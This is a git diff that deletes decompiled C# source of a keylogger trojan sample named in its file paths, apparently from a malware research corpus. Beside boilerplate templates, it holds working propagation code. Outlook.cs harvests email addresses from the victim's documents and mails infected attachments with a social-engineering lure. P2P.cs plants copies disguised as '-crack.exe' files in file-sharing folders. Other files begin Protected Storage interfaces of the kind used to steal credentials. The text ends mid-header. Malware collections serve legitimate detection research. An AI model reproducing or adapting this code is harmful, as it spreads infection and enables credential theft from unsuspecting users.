b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyComputer.cs deleted file mode 100644 index aa97a108..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.MyComputer -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Roy.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyProject.cs deleted file mode 100644 index 9b15eca8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MyProject.cs +++ /dev/null @@ -1,207 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.MyProject -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Roy.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettings.cs deleted file mode 100644 index f423348d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettings.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.MySettings -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Roy.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettingsProperty.cs deleted file mode 100644 index bf17ac88..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.MySettingsProperty -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Roy.My -{ - [HideModuleName] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/Resources/Resources.cs deleted file mode 100644 index 87d18350..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.My.Resources.Resources -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Roy.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [StandardModule] - [HideModuleName] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Roy.My.Resources.Resources.resourceMan, (object) null)) - Roy.My.Resources.Resources.resourceMan = new ResourceManager("Roy.Resources", typeof (Roy.My.Resources.Resources).Assembly); - return Roy.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Roy.My.Resources.Resources.resourceCulture; - set => Roy.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Outlook.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Outlook.cs deleted file mode 100644 index e18e2fcf..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Outlook.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.Outlook -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text.RegularExpressions; - -namespace Roy -{ - [StandardModule] - internal sealed class Outlook - { - private static string me = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); - private static string myDocs = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - private static ArrayList arrEmails = new ArrayList(); - private static ArrayList arInfect = new ArrayList(); - - [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern int Dns( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string strName, - int intType, - int intOpt, - int intServer, - ref IntPtr pResult, - int intReserved); - - public static void Send() - { - Outlook.arrEmails = Outlook.SearchEmails(Outlook.myDocs, "*.*"); - ArrayList arrEmails = Outlook.arrEmails; - arrEmails.Reverse(); - string file = Outlook.GetFile(); - if (Operators.CompareString(file, "", false) == 0 || Outlook.arrEmails.Count <= 0) - return; - Attachment attachment = new Attachment(file); - IEnumerator enumerator = Outlook.arrEmails.GetEnumerator(); - ArrayList arrayList = new ArrayList(); - while (enumerator.MoveNext()) - { - string str1 = Convert.ToString(RuntimeHelpers.GetObjectValue(enumerator.Current)); - foreach (object obj in arrEmails) - { - string str2 = Convert.ToString(RuntimeHelpers.GetObjectValue(obj)); - if (Operators.CompareString(str1, str2, false) != 0 && !arrayList.Contains((object) str1)) - { - arrayList.Add((object) str1); - MailAddress to = new MailAddress(str1); - MailMessage message = new MailMessage(new MailAddress(str2), to); - message.Subject = "Hey"; - message.Body = "Hey hows it going? I attached that file you were asking about. Let me know if it worKs for you or not. I'm not sure what I'm going to do the tommorow maybe get some coffee and do some shopping. Well give me a call later okay?"; - message.Attachments.Add(attachment); - string mxRecords = Outlook.GetMXRecords(str1.Substring(str1.IndexOf("@")).Replace("@", string.Empty)); - try - { - new SmtpClient(mxRecords).Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - attachment.Dispose(); - } - - private static ArrayList SearchEmails(string dir, string fileType) - { - ArrayList arrayList = new ArrayList(); - FileInfo[] files = new DirectoryInfo(dir).GetFiles(fileType); - int index = 0; - while (index < files.Length) - { - FileInfo fileInfo = files[index]; - Console.WriteLine(fileInfo.FullName); - StreamReader streamReader = File.OpenText(fileInfo.FullName); - string target; - while (Outlook.InlineAssignHelper(ref target, streamReader.ReadLine()) != null) - { - string addr = Outlook.ExtractAddr(target); - if (Operators.CompareString(addr, "", false) != 0 && !arrayList.Contains((object) addr) && new Regex("^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$").IsMatch(addr) && !arrayList.Contains((object) addr)) - arrayList.Add((object) addr); - } - checked { ++index; } - } - return arrayList; - } - - public static string ExtractAddr(string InputData) - { - int num1 = checked (InputData.IndexOf("@", 0) + 1); - int num2 = 1; - int num3 = InputData.Length; - string addr = ""; - if (num1 == 0) - return addr; - int num4 = checked (num1 - 1); - while (num4 >= 1) - { - string Left = InputData.Substring(checked (num4 - 1), 1); - if (Operators.CompareString(Left, " ", false) == 0 | Operators.CompareString(Left, "<", false) == 0 | Operators.CompareString(Left, "(", false) == 0 | Operators.CompareString(Left, ":", false) == 0 | Operators.CompareString(Left, ",", false) == 0 | Operators.CompareString(Left, "[", false) == 0) - { - num2 = checked (num4 + 1); - break; - } - checked { num4 += -1; } - } - int num5 = checked (num1 + 1); - int length = InputData.Length; - int num6 = num5; - while (num6 <= length) - { - string Left = InputData.Substring(checked (num6 - 1), 1); - if (Operators.CompareString(Left, " ", false) == 0 | Operators.CompareString(Left, ">", false) == 0 | Operators.CompareString(Left, ")", false) == 0 | Operators.CompareString(Left, ":", false) == 0 | Operators.CompareString(Left, ",", false) == 0 | Operators.CompareString(Left, "]", false) == 0) - { - num3 = checked (num6 - 1); - break; - } - checked { ++num6; } - } - return Regex.Replace(InputData.Substring(checked (num2 - 1), checked (num3 - num2 + 1)), "<(.|\\n)*?>", string.Empty).Replace(" ", "").Replace(" ", "").Replace("\"", ""); - } - - private static string GetFile() - { - string file = ""; - if (Outlook.arInfect.Count > 0) - { - foreach (object obj in Outlook.arInfect) - file = Convert.ToString(RuntimeHelpers.GetObjectValue(obj)); - } - return file; - } - - public static string GetMXRecords(string host) - { - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int num = Outlook.Dns(ref host, 15, 8, 0, ref zero1, 0); - string mxRecords = ""; - Outlook.STRMX structure; - if (num != 0) - { - mxRecords = host; - } - else - { - for (IntPtr ptr = zero1; !ptr.Equals((object) IntPtr.Zero); ptr = structure.pNext) - { - structure = (Outlook.STRMX) Marshal.PtrToStructure(ptr, typeof (Outlook.STRMX)); - if (structure.sType == (short) 15) - { - string stringAuto = Marshal.PtrToStringAuto(structure.pNameEx); - if (Operators.CompareString(stringAuto, "", false) != 0) - mxRecords = stringAuto; - } - } - } - return mxRecords; - } - - private static T InlineAssignHelper(ref T target, T value) - { - target = value; - return value; - } - - private struct STRMX - { - public IntPtr pNext; - public string strName; - public short sType; - public int intFlag; - public int intTTL; - public int intRes; - public IntPtr pNameEx; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/P2P.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/P2P.cs deleted file mode 100644 index 007c702b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/P2P.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.P2P -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.IO; -using System.Runtime.CompilerServices; - -namespace Roy -{ - [StandardModule] - internal sealed class P2P - { - public static void p2p() - { - foreach (object obj in new ArrayList() - { - (object) (Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\Downloads"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\My Shared Folder"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\Shared"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Ares\\My Shared Folder"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Downloads"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Shareaza\\Downloads"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\emule\\incoming\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\kazaa\\my shared folder\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\kazaa lite\\my shared folder\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\kazaa lite k++\\my shared folder\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\icq\\shared folder\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\grokster\\my grokster\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\bearshare\\shared\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\edonkey2000\\incoming\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\morpheus\\my shared folder\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\limewire\\shared\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\tesla\\files\\"), - (object) (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\winmx\\shared\\") - }) - { - string path = Convert.ToString(RuntimeHelpers.GetObjectValue(obj)); - if (Directory.Exists(path)) - { - string[] directories = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)); - int index = 0; - while (index < directories.Length) - { - string str = directories[index]; - string destFileName = path + "\\" + str.Substring(str.LastIndexOf("\\")).Replace("\\", string.Empty) + "-crack.exe"; - File.Copy(LAN.me, destFileName, true); - checked { ++index; } - } - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/ConstPStore.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/ConstPStore.cs deleted file mode 100644 index f94b2180..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/ConstPStore.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.ConstPStore -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -namespace Roy.PStoreLib -{ - public abstract class ConstPStore - { - public const int PST_AC_IMMEDIATE_CALLER = 2; - public const int PST_AC_SINGLE_CALLER = 0; - public const int PST_AC_TOP_LEVEL_CALLER = 1; - public const int PST_AUTHENTICODE = 1; - public const int PST_BINARY_CHECK = 2; - public const int PST_CF_DEFAULT = 0; - public const int PST_CF_NONE = 1; - public const int PST_NO_OVERWRITE = 2; - public const int PST_NO_UI_MIGRATION = 16; - public const int PST_PC_HARDWARE = 2; - public const int PST_PC_MULTIPLE_REPOSITORIES = 16; - public const int PST_PC_PCMCIA = 8; - public const int PST_PC_PFX = 1; - public const int PST_PC_ROAMABLE = 32; - public const int PST_PC_SMARTCARD = 4; - public const int PST_PF_ALWAYS_SHOW = 1; - public const int PST_PF_NEVER_SHOW = 2; - public const int PST_PP_FLUSH_PW_CACHE = 1; - public const int PST_PROMPT_QUERY = 8; - public const int PST_RC_REMOVABLE = -2147483648; - public const int PST_READ = 1; - public const int PST_SECURITY_DESCRIPTOR = 4; - public const int PST_SELF_RELATIVE_CLAUSE = -2147483648; - public const int PST_UNRESTRICTED_ITEMDATA = 4; - public const int PST_WRITE = 2; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreItems.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreItems.cs deleted file mode 100644 index f064fe8e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreItems.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.IEnumPStoreItems -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace Roy.PStoreLib -{ - [InterfaceType(1)] - [Guid("5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B")] - [ComImport] - public interface IEnumPStoreItems - { - [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - int Next([In] int celt, [In, Out] ref int rgelt, [In, Out] ref int pceltFetched); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Skip([In] int celt); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - void Reset(); - - [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] - [return: MarshalAs(UnmanagedType.Interface)] - IEnumPStoreItems Clone(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreProviders.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreProviders.cs deleted file mode 100644 index f6c1b7e3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/PStoreLib/IEnumPStoreProviders.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.PStoreLib.IEnumPStoreProviders -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: 